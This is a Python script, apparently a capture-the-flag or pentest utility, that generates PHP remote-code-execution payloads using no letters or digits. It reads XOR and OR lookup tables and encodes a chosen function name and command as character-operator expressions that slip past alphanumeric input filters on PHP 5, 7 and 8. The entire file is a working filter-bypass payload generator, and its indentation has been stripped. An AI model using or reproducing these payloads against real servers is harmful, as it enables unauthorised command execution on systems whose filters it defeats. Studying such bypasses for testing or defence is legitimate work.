无字母数字绕过.py
# -*- coding: utf-8 -*-
# author FightnvrGP
def actionxor(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
def actionor(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
print("注意: 请先执行一遍随附的PHP脚本,再执行此脚本")
choose = input("[+] 1.异或\n[+] 2.或\n[+] your choose:")
if choose not in ["1", "2"]:
exit("An option that is not allowed")
chooseVersion = input("[+] 1.PHP 5.*\n[+] 2.PHP 7.*\n[+] 3.PHP 8.*\n[+] your PHP Version:")
if chooseVersion not in ["1", "2", "3"]:
exit("An option that is not allowed")
if choose == "1":
while True:
param = None
par1 = input("\n[+] your function:")
par2 = input("[+] your command:")
if chooseVersion == "1":
param = "$_=" + actionxor(par1)[1:-1] + ";" + "$_" + (actionxor(par2) if par2.__len__() > 0 else "()") + ";"
elif chooseVersion == "2" or chooseVersion == "3":
param = actionxor(par1) + (actionxor(par2) if par2.__len__() > 0 else "()") + ";"
else:
exit("An option that is not allowed")
print("[*] " + param)
elif choose == "2":
while True:
param = None
par1 = input("\n[+] your function:")
par2 = input("[+] your command:")
if chooseVersion == "1":
param = "$_=" + actionor(par1)[1:-1] + ";" + "$_" + (actionor(par2) if par2.__len__() > 0 else "()") + ";"
elif chooseVersion == "2" or chooseVersion == "3":
param = actionor(par1) + (actionor(par2) if par2.__len__() > 0 else "()") + ";"
else:
exit("An option that is not allowed")
print("[*] " + param)
else:
exit("An option that is not allowed")